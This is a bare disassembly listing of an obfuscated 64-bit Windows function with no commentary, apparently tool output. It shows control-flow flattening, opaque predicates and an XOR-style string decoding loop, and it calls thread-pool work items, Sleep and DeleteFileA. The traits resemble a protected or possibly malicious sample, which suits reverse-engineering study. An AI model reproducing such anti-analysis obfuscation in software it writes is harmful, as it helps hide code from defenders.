movsxd rcx, dword [rbp + 0x1444]
shl rcx, 3
sub rsp, 0x20
call fcn.140024520
add rsp, 0x20
mov qword [rbp + 0x11f0], rax
mov dword [rbp + 0x1448], 0
mov dword [rbp + 0x145c], 0x8477b004
jmp 0x1400069c6
mov eax, dword [rbp + 0x1448]
mov ecx, 0x807e8c2b
mov edx, 0xa1d17f5b
cmp eax, dword [rbp + 0x1444]
cmovl ecx, edx
mov dword [rbp + 0x145c], ecx
jmp 0x1400069c6
mov dword [rbp + 0x143c], 8
mov dword [rbp + 0x145c], 0x2faf5201
jmp 0x1400069c6
sub rsp, 0x20
mov ecx, 0x20
call fcn.140024520
add rsp, 0x20
mov qword [rbp + 0x1430], rax
sub rsp, 0x20
mov ecx, 0x100
call fcn.140024520
add rsp, 0x20
mov qword [rbp + 0x1418], rax
mov rcx, qword [rbp + 0x1418]
sub rsp, 0x20
xor edx, edx
mov r8d, 0x100
call fcn.140035a20
add rsp, 0x20
lea rdx, [rbp + 0xf70]
mov rcx, qword [rbp + 0x1418]
sub rsp, 0x20
call fcn.140002030
add rsp, 0x20
movsxd rax, dword [rbp + 0x1448]
lea rdx, [rbp + 0x1080]
shl rax, 5
add rdx, rax
mov rcx, qword [rbp + 0x1418]
sub rsp, 0x20
call fcn.140001f80
add rsp, 0x20
mov rax, qword [rbp + 0x1388]
mov rcx, qword [rbp + 0x1430]
mov qword [rcx], rax
mov rax, qword [rbp + 0x1418]
mov rcx, qword [rbp + 0x1430]
mov qword [rcx + 8], rax
lea rax, [rbp + 0xf70]
mov rcx, qword [rbp + 0x1430]
mov qword [rcx + 0x10], rax
sub rsp, 0x20
xor ecx, ecx
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateEventW]
add rsp, 0x20
mov rcx, qword [rbp + 0x1430]
mov qword [rcx + 0x18], rax
mov rax, qword [rbp + 0x1430]
mov rax, qword [rax + 0x18]
movsxd rcx, dword [rbp + 0x1448]
mov rdx, qword [rbp + 0x1378]
mov qword [rdx + rcx*8], rax
mov rdx, qword [rbp + 0x1430]
lea rcx, [0x140003b40]
sub rsp, 0x20
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_QueueUserWorkItem]
add rsp, 0x20
mov dword [rbp + 0x145c], 0xebb03aa7
jmp 0x1400069c6
mov eax, dword [rbp + 0x1448]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [rbp + 0x1448], eax
mov dword [rbp + 0x145c], 0x8477b004
jmp 0x1400069c6
mov ecx, dword [rbp + 0x1444]
mov rdx, qword [rbp + 0x1378]
sub rsp, 0x20
mov r8d, 1
mov r9d, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
add rsp, 0x20
mov rcx, qword [rbp + 0x1388]
sub rsp, 0x20
call fcn.14001bcc0
add rsp, 0x20
lea r8, [rbp + 0x7a0]
lea rdx, [rbp + 0xe60]
mov rcx, qword [rbp + 0xdb0]
sub rsp, 0x20
call fcn.14000adf0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
lea rcx, [rbp + 0xe60]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
add rsp, 0x20
mov qword [rbp + 0x12b0], rax
lea rcx, [rbp + 0xdb8]
sub rsp, 0x20
call fcn.140006e00
add rsp, 0x20
lea rax, [rbp + 0xdb8]
mov qword [rbp + 0x13b8], rax
mov eax, 0x84553a32
mov ecx, eax
sub ecx, 0x84553a32
je 0x1400066ab
jmp 0x14000668c
mov ecx, eax
sub ecx, 0xac099369
je 0x1400067b6
jmp 0x14000669c
mov ecx, eax
sub ecx, 0xf3414d1c
je 0x1400066cc
jmp 0x1400067b1
mov rcx, qword [rbp + 0x13b8]
mov eax, 0xf3414d1c
mov edx, 0xac099369
cmp word [rcx + 0xa6], 0
cmove eax, edx
jmp 0x1400067b1
mov r8, qword [rbp + 0x13b8]
mov rax, qword [rbp + 0x13b8]
mov qword [rbp + 0x1210], rax
xor ecx, ecx
mov eax, 0x9dfcf75b
mov edx, eax
sub edx, 0x8e4c47ee
je 0x14000679b
jmp 0x1400066f8
mov edx, eax
sub edx, 0x9dfcf75b
je 0x14000672c
jmp 0x140006704
mov edx, eax
sub edx, 0xb48949c1
je 0x140006745
jmp 0x140006710
mov edx, eax
sub edx, 0xf24ff5bb
je 0x14000673e
jmp 0x14000671c
mov edx, eax
sub edx, 0x64997397
je 0x1400067ac
jmp 0x1400067a7
mov eax, 0xf24ff5bb
mov edx, 0xb48949c1
cmp ecx, 0x54
cmovl eax, edx
jmp 0x1400067a7
mov eax, 0x64997397
jmp 0x1400067a7
movsxd r9, ecx
mov r10w, word [r8 + r9*2]
mov r11d, 0x36
mov eax, ecx
cdq
idiv r11d
xor eax, eax
sub ax, dx
xor edx, edx
sub dx, 0x34
add ax, dx
xor edx, edx
sub dx, ax
mov ax, r10w
xor ax, 0xffff
mov r11w, dx
and r11w, ax
xor dx, 0xffff
and r10w, dx
or r11w, r10w
mov rax, qword [rbp + 0x1210]
mov word [rax + r9*2], r11w
mov eax, 0x8e4c47ee
jmp 0x1400067a7
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, 0x9dfcf75b
jmp 0x1400066e8
mov eax, 0xac099369
jmp 0x140006680
mov rax, qword [rbp + 0x13b8]
lea rax, [rbp + 0xdb8]
mov qword [rbp + 0x1390], rax
mov r8, qword [rbp + 0x12b0]
lea rdx, [rbp + 0x7a0]
add rdx, 0x200
mov rcx, qword [rbp + 0x1390]
sub rsp, 0x20
call fcn.140009990
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov rcx, qword [rbp + 0x1390]
sub rsp, 0x20
call fcn.14000a640
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov rsp, qword [rbp + 0x12a8]
mov dword [rbp + 0x145c], 0x459d2f41
jmp 0x1400069c6
mov dword [rbp + 0x145c], 0xa098fc85
jmp 0x1400069c6
mov eax, dword [0x140044c00]
mov ecx, dword [0x140044c04]
xor edx, edx
sub edx, 1
mov r8d, eax
add r8d, edx
imul eax, r8d
and eax, 1
cmp eax, 0
sete dl
cmp ecx, 0xa
setl cl
mov al, dl
xor al, 0xff
mov r8b, cl
xor r8b, 0xff
mov r9b, 1
xor r9b, 0
mov r10b, al
and r10b, 0
and dl, r9b
mov r11b, r8b
and r11b, 0
and cl, r9b
or r10b, dl
or r11b, cl
xor r10b, r11b
or al, r8b
xor al, 0xff
or r9b, 0
and al, r9b
or r10b, al
mov eax, 0xbd843878
mov ecx, 0x2f784698
test r10b, 1
cmovne eax, ecx
mov dword [rbp + 0x145c], eax
jmp 0x1400069c6
mov eax, dword [0x140044c00]
mov ecx, dword [0x140044c04]
mov edx, eax
sub edx, 0x2b26659c
sub edx, 1
add edx, 0x2b26659c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbd843878
mov ecx, 0x36ed4786
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x145c], eax
jmp 0x1400069c6
mov dword [rbp + 0x145c], 0x44d32f14
jmp 0x1400069c6
mov dword [rbp + 0x145c], 0xac09e447
jmp 0x1400069c6
mov al, byte [rbp + 0x145b]
and al, 1
movzx eax, al
mov ecx, 0x3c31850c
mov edx, 0xe60b3e8f
cmp eax, 0
cmove ecx, edx
mov dword [rbp + 0x145c], ecx
jmp 0x1400069c6
sub rsp, 0x20
call fcn.140001be0
add rsp, 0x20
mov dword [rbp + 0x145c], 0x3c31850c
jmp 0x1400069c6
mov dword [rbp + 0x145c], 0xac09e447
jmp 0x1400069c6
mov dword [rbp + 0x1438], 0
mov dword [rbp + 0x143c], 1
mov dword [rbp + 0x145c], 0x897a7f43
jmp 0x1400069c6
mov eax, dword [rbp + 0x1438]
lea rsp, [rbp + 0x1460]
pop rbx
pop rsi
pop rbp
ret
mov dword [rbp + 0x145c], 0x447c16a7
jmp 0x1400069c6
mov dword [rbp + 0x145c], 0x2f784698
jmp 0x140003bdb